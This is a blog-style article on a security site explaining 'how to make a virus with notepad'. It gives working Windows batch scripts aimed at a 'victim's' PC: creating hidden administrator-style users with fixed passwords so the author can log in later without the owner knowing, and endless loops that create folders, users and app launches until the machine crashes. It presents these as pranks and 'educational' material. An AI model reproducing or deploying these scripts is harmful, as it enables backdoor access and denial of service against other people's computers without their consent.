LIVE NEWSROOM · --:-- · May 15, 2026
A LIBRARY FOR SECURITY RESEARCHERS

How to make a virus with notepad

Post on X LinkedIn
How to make a virus with notepad

Hello guys 🙂 lucifer here, and today in this article I will show you the techniques and scripts to create a computer virus in notepad. These are the simple user-defined script programs that will do the thing which was written in the script.

These scripts are harmful. Sometimes they may corrupt the hard disk data of the victim’s computer intentionally or by mistake. there are many types of commands and scripts that you can implement and create a virus for you.

This article is only for educational and fun purposes don’t use these tricks and scripts for any intentional acts to harm someone because it will be subject to crime.

computer virus

// 01 What is the notepad virus?

Notepad viruses are nothing but user-defined scripts to do a certain amount of tasks on the victim’s computer. These are created as bat executable files which will execute certain tasks from the scripts written in them. You can write these scripts in notepad and then save them as (.bat) files, which will make them executable files for Windows computers as a virus.

These bat files can do many things on Windows PC to irritate their owner. Things like adding any user to the machine, adding unwanted files or folders in it, shutdown their PC again and again, launching any program in the loop, deleting files or corrupting the hard disk, or crashing the computer from many tasks, and many more things.

// 02 Virus code in notepad

These codes are written in notepad and saved as a (.bat) file extension. So you need to do the same as it is for running it. Don’t execute this script in your host machine you can use it alternatively as a VM machine.

1:- adding user virus

echo off
net user hacker /add
net user hacker 123
net user hacker2 /add
net user hacker2 123

victims need to run this script as administrator, and then it will add two unknown users to the machine with owner knowledge and permission. So late on you can log in to the system without getting acknowledged by the owner of the machine

1:- adding the unwanted folder

@echo off
:x
md %random%
/folder.
goto x

The above script will create so many unknown folders in the victim’s machine.

3:- starting applications one time

@echo off 
start application1
start application2
start application3
start application4
start application5

You need to replace the [application,1,2,3,] with your choice of applications from the victim’s computer. After victims double-click on the file, it will start opening all the application one by one as defined in the script. And this will really irritate your friend.

4:- starting the application in a loop

@echo off
:x
start application1
start application2
start application3
start application4
start application5
goto x

This is a very annoying script because when it will get started it won’t stop until the PC gets crashed or the user uses the forced shutdown method.

5:- For creating too many random users

@echo off 
:x
net user %random% /add
goto x

These scripts need to be executed as administrators for proper working. and this will create so many random users in the machine to irritate your friend.

6:- For creating a matrix effect in cmd

@echo off
color 05
:x
echo %random% %random% %random% %random% %random% %random% %random% %random%
goto x

this will generate a matrix effect in cmd in the loop without stooping

using the above script you can easily prank your friend, or you can use these in your school or college lab.

    TE
    Team Ciphers Security

    The Ciphers Security editorial team — practitioners covering daily threat intel, CVE deep-dives, and hands-on cybersecurity research. About us →

    Previous Substitution cipher in cryptography Next What is Cryptography in information security?

    Latest News

    YARA-X 1.16.0: Faster Scans, Panic Fixes, and Neovim LSP Support YARA-X 1.16.0 ships with performance improvements across 10 PRs, constant folding for bitwise ops, configurable mat… Instructure Removed from ShinyHunters' Leak Site as Canvas Breach Deadline Passes Instructure was quietly removed from ShinyHunters' extortion site after the May 12, 2026 deadline — no data dump, n… Costa Rica Joins Have I Been Pwned as the 42nd Government Costa Rica's CSIRT gains free access to Have I Been Pwned's government domain monitoring service, becoming the 42nd… LummaC2 Infostealer Targets US Critical Infrastructure: CISA-FBI Advisory AA25-141B and DOJ Domain Seizures CISA and FBI advisory AA25-141B details LummaC2 MaaS infostealer TTPs targeting critical infrastructure. DOJ seized… MacSync Stealer: Hackers Abuse Google Ads and Claude.ai Chats to Push Mac Malware Russian-speaking attackers combine Google Ads and Claude.ai shared chats in a ClickFix campaign deploying MacSync S… JDownloader Site Hacked, Installers Swapped with Python RAT Malware JDownloader's website was hacked May 6–7, 2026, replacing Windows and Linux installers with a Python-based RAT. Use… Operation HookedWing: 4-Year Phishing Campaign Hits 500+ Organizations Across Aviation, Energy, and Logistics Operation HookedWing has stolen credentials from 500+ organizations in aviation, energy, logistics, and critical in… Twelve Critical vm2 Node.js Vulnerabilities Enable Sandbox Escape and Arbitrary Code Execution A dozen CVEs in the vm2 Node.js sandbox library — including CVSS 10.0 flaws — allow sandbox escape and RCE. Update …
    Scroll to Top